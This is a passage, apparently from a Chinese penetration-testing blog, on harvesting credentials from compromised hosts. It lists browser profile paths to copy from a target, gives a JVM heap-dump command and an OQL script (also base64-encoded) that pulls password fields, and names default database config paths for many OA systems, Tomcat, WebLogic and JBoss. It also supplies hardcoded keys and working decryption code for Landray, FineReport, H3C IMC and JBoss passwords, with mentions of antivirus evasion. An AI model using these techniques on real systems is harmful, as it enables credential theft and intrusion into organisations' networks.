![null bce0563490748e0ee0ca681af779a37b.png](https://img-blog.csdnimg.cn/img_convert/bce0563490748e0ee0ca681af779a37b.png)
上传解密
在免杀的情况下也可以直接上传360SafeBrowserDecrypt.exe进行解密。
![null 554189897f599f3255d304452108c037.png](https://img-blog.csdnimg.cn/img_convert/554189897f599f3255d304452108c037.png)
其他浏览器
如果遇到其他的小众浏览器,可以在本地安装一个相同版本的浏览器,然后退出浏览器,将目标上的浏览器用户数据目录打包到本地,在相同目录进行替换,重新打开浏览器,去浏览器设置里查看密码。以下为一些浏览器的用户数据目录:
%AppData%/Local/Google/Chrome/User Data/Default/
%AppData%/Local/Google/Chrome Beta/User Data/Default/
%AppData%/Local/Chromium/User Data/Default/
%AppData%/Local/Microsoft/Edge/User Data/Default/
%AppData%/Local/BraveSoftware/Brave-Browser/User Data/Default/
%AppData%/Local/360chrome/Chrome/User Data/Default/
%AppData%/Local/Tencent/QQBrowser/User Data/Default/
%AppData%/Roaming/Opera Software/Opera Stable/
%AppData%/Roaming/Opera Software/Opera GX Stable/
%AppData%/Local/Vivaldi/User Data/Default/
%AppData%/Local/CocCoc/Browser/User Data/Default/
%AppData%/Local/Yandex/YandexBrowser/User Data/Default/
%AppData%/Roaming/Mozilla/Firefox/Profiles/
%AppData%/Roaming/SogouExplorer/Webkit/
WEB系统
通用方法
思路:绝大部分的配置信息,在内存中,都是String类型的field字段,可以使用OQL语言直接从内存中提取password字段的field值。
工具:https://github.com/corener/JavaPassDump
使用步骤:1、使用jcmd获取JVM堆内存 jmap,jcmd 都是JDK自带工具,指定JVM pid 直接dump
jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760
![null d418828324afa3676c77196580e8dbcf.png](https://img-blog.csdnimg.cn/img_convert/d418828324afa3676c77196580e8dbcf.png)
2、使用OQLQuery提取密码 OQL语句:
var filter = {};
map(heap.classes(), function (cls) {
return map(cls.fields, function (field) {
if( field.name.toString().contains("pass") || field.name.toString().contains("username") ||field.name.toString().contains("PASS")){
return map(heap.objects(cls), function (obs) {
var tag = cls.name+"|"+field.name ;
var res = "class : "+cls.name+"\n Field [ "+field.name.toString()+" : ";
if( obs[field.name.toString()] != null ){
res = res + obs[field.name.toString()].toString()+" ]\n";
}else{
res = res + "null ]\n";
}
if (filter[tag] == null) {
filter[tag] = res;
print(res);
}
return null;
});
}
return null;
});
});
使用base64编码oql语句传入OQLQuery进行提取:
java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=
![null b87d4073259a26dc79c5efb734a7b143.png](https://img-blog.csdnimg.cn/img_convert/b87d4073259a26dc79c5efb734a7b143.png)
![null 7ca9fb66cb1a306623da8d6c2202c8a0.png](https://img-blog.csdnimg.cn/img_convert/7ca9fb66cb1a306623da8d6c2202c8a0.png)
从图中即可看到数据库连接密码。
致远OA
数据库配置文件默认位置:
/Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties
![null 5575a0c34b2ffbc8ec06aa226f1a29d0.png](https://img-blog.csdnimg.cn/img_convert/5575a0c34b2ffbc8ec06aa226f1a29d0.png)
使用工具解密:https://github.com/jas502n/OA-Seeyou
![null 02829affefce3b5280c354772fdfbd3f.png](https://img-blog.csdnimg.cn/img_convert/02829affefce3b5280c354772fdfbd3f.png)
泛微系列
e-cology
数据库配置文件默认位置:
D:\WEAVER\ecology\WEB-INF\prop\weaver.properties
用户名表:HrmResource 管理员表:HrmResourceManager、TB_USER
![null 79bb828036f9f47abed2e6578b76d44e.png](https://img-blog.csdnimg.cn/img_convert/79bb828036f9f47abed2e6578b76d44e.png)
e-bridge
数据库配置文件默认位置:
D:\ebridge\tomcat\webapps\ROOT\WEB-INF\init.properties
e-mobile
数据库配置文件默认位置:
D:\WEAVER\emobile\webapps\ROOT\WEB-INF\classes\application.properties
e-office
数据库配置文件默认位置:
D:\eoffice\webroot\inc\oa_config.php
D:\eoffice\bin\mysql_config.ini
蓝凌OA
解密后台管理密码
后台管理地址一般是:
http://x.x.x.x/admin.do
如果后台管理地址遇到不是admin.do,则可以尝试从以下文件中搜索SysConfigAdminAction即可找到后台管理地址:
老版本对应的为:\WEB-INF\KmssConfig\sys\config\struts.xml
新版本对应的为:\WEB-INF\KmssConfig\sys\config\spring-safe.xml
或者:\WEB-INF\KmssConfig\sys\config\spring-mvc.xml
加密后的后台管理密码一般保存在:
/WEB-INF/KmssConfig/admin.properties
其使用的加密算法为DES-ECB,密钥为kmssAdminKey,解密工具:https://github.com/zhutougg/LandrayDES
![null 1e4ff2460cc4e3a5611a6cb59b8364b4.png](https://img-blog.csdnimg.cn/img_convert/1e4ff2460cc4e3a5611a6cb59b8364b4.png)
配置文件解密
配置文件默认路径:
ekp/WEB-INF/KmssConfig/kmssconfig.properties
其使用的加密算法为DES-ECB,密钥为kmssPropertiesKey。
![null 374b3d8a0e11c7b074ad63d58c2709fd.png](https://img-blog.csdnimg.cn/img_convert/374b3d8a0e11c7b074ad63d58c2709fd.png)
解密代码:
package org.example;
import cn.hutool.core.util.CharsetUtil;
import cn.hutool.crypto.SecureUtil;
import cn.hutool.crypto.symmetric.DES;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class Main {
public static String decrypt(byte[] bytes, String key) {
DES des = SecureUtil.des(key.getBytes());
return des.decryptStr(bytes, CharsetUtil.charset("gb2312"));
}
public static void main(String[] args) throws Exception {
Path path = Paths.get("D:\\Users\\Shmily\\Desktop\\kmssconfig.properties");
byte[] bytes = Files.readAllBytes(path);
String result = decrypt(bytes, "kmssPropertiesKey");
System.out.println(result);
}
}
数据库用户密码解密 用户表:sys_org_person 前台用户在/login.jsp登陆时使用的密码使用了md5和DES两种加密方式存在数据库中,其使用DES算法为DES-CBE,密钥为kmssPropertiesKey。
![null c65eaa6d81d70a803b2b0993fcbee088.png](https://img-blog.csdnimg.cn/img_convert/c65eaa6d81d70a803b2b0993fcbee088.png)
解密工具:https://github.com/zhutougg/LandrayDES
![null cca1d078da0b78dd77f790acf16d26f7.png](https://img-blog.csdnimg.cn/img_convert/cca1d078da0b78dd77f790acf16d26f7.png)
万户OA
数据库配置文件默认位置:
D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml
D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/classes/fc.properties
/WEB-INF/config/ezoffice/config.xml
/jboss-as/server/oa/deploy/*-ds.xml //星号为具体数据库比如mssql、oracle
![null 5caa7fd56b100aee19a52d661beab1ff.png](https://img-blog.csdnimg.cn/img_convert/5caa7fd56b100aee19a52d661beab1ff.png)
![null cc94d207f3804980cd604a9d71989148.png](https://img-blog.csdnimg.cn/img_convert/cc94d207f3804980cd604a9d71989148.png)
通达OA
数据库配置文件默认位置:
C:\MYOA\mysql5\my.ini
C:\MYOA\webroot\inc\oa_config.php
C:\MYOA\bin\Service.ini
![null 60a47f0c73c02bbb1e71edaf59a0c0e1.png](https://img-blog.csdnimg.cn/img_convert/60a47f0c73c02bbb1e71edaf59a0c0e1.png)
用友NC
数据库配置文件默认位置:
/nchome/ierp/bin/prop.xml
![null b692c5f79fb173f30a892de0b473a80a.png](https://img-blog.csdnimg.cn/img_convert/b692c5f79fb173f30a892de0b473a80a.png)
用友数据库解密,工具下载地址:https://github.com/jas502n/ncDecode
![null b8f1e22ca4cb2e329b874e431b26a422.png](https://img-blog.csdnimg.cn/img_convert/b8f1e22ca4cb2e329b874e431b26a422.png)
金和OA
数据库默认配置文件:
D:\apache-tomcat-6.0.53\webapps\jc6\WEB-INF\classes\db.properties
心通达
数据库默认配置文件:
/webapps/ROOT/WEB-INF/classes/jdbc-sql.propertie
![null e21092fd9b3b6ef003c43d267b18030f.png](https://img-blog.csdnimg.cn/img_convert/e21092fd9b3b6ef003c43d267b18030f.png)
帆软
数据库默认配置文件:
\WEB-INF\resources\privilege.xml
![null f5b093f2943d01b965551cdad75253a7.png](https://img-blog.csdnimg.cn/img_convert/f5b093f2943d01b965551cdad75253a7.png)
解密代码:
cipher = input("输入密文:\n") # 密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
password = ""
cipher = cipher[3:]
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
password = password + chr(c2)
print("明文密码:\n"+password)
![null abbe2fa6d2c9fa33224f63034edae661.png](https://img-blog.csdnimg.cn/img_convert/abbe2fa6d2c9fa33224f63034edae661.png)
Confluence
数据库默认配置文件:
/var/atlassian/confluenc/confluence.cfg.xml
vCenter
数据库默认配置文件:
Windows默认路径:
C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties
Linux路径:
/etc/vmware-vpx/vcdb.properties
/etc/vmware/service-state/vpxd/vcdb.properties
![null de0b1ba1525d7e2165b4faf27018f730.png](https://img-blog.csdnimg.cn/img_convert/de0b1ba1525d7e2165b4faf27018f730.png)
金蝶
金蝶EAS
数据库默认配置文件:
...\runtime\apusic\domains\server1\config\datasources.xml
D:/Kingdee/eas/server/properties/datacenters.xml
华三IMC
数据库默认配置文件:
common\conf\server-addr.xml
![null c7610fa25110299983d4c80717fb8929.png](https://img-blog.csdnimg.cn/img_convert/c7610fa25110299983d4c80717fb8929.png)
核心算法:通过将去掉-符号的值加上数组的下标值乘上16取余256,接着把获取到的值b与255进行比较,大于255的进行b-256的操作后赋值给b,紧接着进行ASCII转换。最后判断结尾是否为” ~~”,是的话就去掉,最后去掉最后两位。解密代码:
str = "-115-97-76-67-49-28-30-14"
if str.startswith('-'):
strs = []
bytess = []
strs = str[1:24].split('-')
i = 0
for i in range(len(strs)-2):
try:
strsint = int(strs[i])
b = strsint + i * 16 % 256
if b > 255:
b = b - 256
str1 = chr(b)
if not str1.endswith("~~"):
bytess.append(chr(b))
except:
pass
i = i + 1
print("密码:"+''.join(bytess))
else:
print("密文格式不对!")
print("格式应为:-112-81-83-67-55-20-30-1")
![null b57df5f1dbc926bfe4d4ec52cc13cb3f.png](https://img-blog.csdnimg.cn/img_convert/b57df5f1dbc926bfe4d4ec52cc13cb3f.png)
联软 IT 安全运维
数据库默认配置文件:
/home/leagsoft/LeagView/Ini/odbc.ini
/home/leagsoft/LeagView/Ini/Server.ini
/etc/postgresql/9.1/auditdb/postgresql.conf
中间件
Tomcat
数据库
数据库配置文件:
WEB-INF/classes/application.properties
![null a07f78a2146b8ddf1de4a043dfe5fdc2.png](https://img-blog.csdnimg.cn/img_convert/a07f78a2146b8ddf1de4a043dfe5fdc2.png)
实战中遇见的tomcat常见数据库配置文件名:
db.properties
jdbc.properties
dbpool.properties
config.properties
sso-config.properties
minaconfig.properties
missCallAlertExclude.properties
url_img.properties
webapp.properties
Proxool.properties
application.properties
控制台
tomcat控制台账号密码:
/conf/tomcat-users.xml
![null 7783a314cf32478314c249294a37e087.png](https://img-blog.csdnimg.cn/img_convert/7783a314cf32478314c249294a37e087.png)
ActiveMQ
配置了认证的情况:
![null ca38e8ec52ffbd6c53282629d64ce110.png](https://img-blog.csdnimg.cn/img_convert/ca38e8ec52ffbd6c53282629d64ce110.png)
登录密码存放路径:
/apache-activemq/conf/jetty-realm.properties
![null 48cc11d20a8fa2b317593e1ff2fc39d3.png](https://img-blog.csdnimg.cn/img_convert/48cc11d20a8fa2b317593e1ff2fc39d3.png)
Weblogic
WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。每个Weblogic app的加密key都是随机生成的,所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的。
Weblogic控制台密码解密
查找boot.properties文件:
weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
![null 67c2543cb52c6984d95138b5d62e13fb.png](https://img-blog.csdnimg.cn/img_convert/67c2543cb52c6984d95138b5d62e13fb.png)
查找SerializedSystemIni.dat文件,其中包含了解密key:
weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat
![null c9cc3e55ef186f8fdd352e83f6df8f4f.png](https://img-blog.csdnimg.cn/img_convert/c9cc3e55ef186f8fdd352e83f6df8f4f.png)
解密工具:https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi
![null afd8a77d8adeaf4ccc6c31bdedea656b.png](https://img-blog.csdnimg.cn/img_convert/afd8a77d8adeaf4ccc6c31bdedea656b.png)
![null 053d7e49bce07b8dbaa47545209b98f0.png](https://img-blog.csdnimg.cn/img_convert/053d7e49bce07b8dbaa47545209b98f0.png)
Nodemanager密码解密
查找config.xml文件
/weblogic/user_projects/domains/base_domain/config/config.xml
![null 0a49d832b404675e41ab8fb0ed98a46d.png](https://img-blog.csdnimg.cn/img_convert/0a49d832b404675e41ab8fb0ed98a46d.png)
![null 393f519850d94042a2c3cf90e3c3aa78.png](https://img-blog.csdnimg.cn/img_convert/393f519850d94042a2c3cf90e3c3aa78.png)
数据库密码解密
查找jdbc相关文件
/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml
![null b15cdfe176d3c015a95803544f307458.png](https://img-blog.csdnimg.cn/img_convert/b15cdfe176d3c015a95803544f307458.png)
成功解密
![null 1d59d00efe738dc0ad03cc8d26a88305.png](https://img-blog.csdnimg.cn/img_convert/1d59d00efe738dc0ad03cc8d26a88305.png)
JBOSS
JBoss使用blowfish加密算法,解密key为硬编码的jaas is the way。数据库配置默认目录:
%JBOSS_HOME%\server\%appname%\deploy\oracle-ds.xml
%JBOSS_HOME%\server\%appname%\deploy\mysql-ds.xml
在没有加密的情况下,密码是明文:
<jndi-name>OracleDS</jndi-name> //jndi名字
<use-java-context>false</use-java-context>
<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url> //URL地址
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class> //驱动
<user-name>root</user-name> //用户名
<password>123456</password> //密码
在配置完密码加密后,加密后的密码存在jboss目录的conf/login-config.xml文件里:
<application-policy name="EncryptDBPassword">
<authentication>
<login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name="username">admin</module-option>
<module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>
<module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option> </login-module>
</authentication>
</application-policy>
5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的时候前面还有个符号,也是密文的一部分。
JBoss加密和解密代码:
import java.math.BigInteger;
/*
* JBoss.java - Blowfish encryption/decryption tool with JBoss default password
* Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009
*
* This file may be used under the terms of the GNU General Public License
* version 2.0 as published by the Free Software Foundation:
* http://www.gnu.org/licenses/gpl-2.0.html
*/
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
public class Main {
public static void main(String[] args) throws Exception {
if ((args.length != 2) ||
!(args[0].equals("-e") | args[0].equals("-d"))) {
System.out.println(
"Usage:\n\tjava JBoss <-e|-d> <encrypted_password>");
return;
}
String mode = args[0];
byte[] kbytes = "jaas is the way".getBytes();
SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
Cipher cipher = Cipher.getInstance("Blowfish");
String out = null;
if (mode.equals("-e")) {
String secret = args[1];
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.getBytes());
out = new BigInteger(encoding).toString(16);
} else {
BigInteger secret = new BigInteger(args[1], 16);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.toByteArray());
out = new String(encoding);
}
System.out.println(out);
}
}
在线解密:https://www.json.cn/runcode/run_java/
![null ddce22c2f8afd8c07cdde2ad5e8b8842.png](https://img-blog.csdnimg.cn/img_convert/ddce22c2f8afd8c07cdde2ad5e8b8842.png)
引用链接
[1]
Asterisk Password Spy: https://xenarmor.com/asterisk-password-recovery-pro-software/?utm_source=website_sx&utm_medium=website&utm_campaign=upgradetopro_home_asterisk&utm_term=upgradetopro_home_asterisk[2]
peekPassword: https://www.jb51.net/softs/412866.html[3]
SharpWxDump:[4]
ChatViewTool: https://github.com/Ormicron/chatViewTool[5]
Sunflower_get_Password: https://github.com/wafinfo/Sunflower_get_Password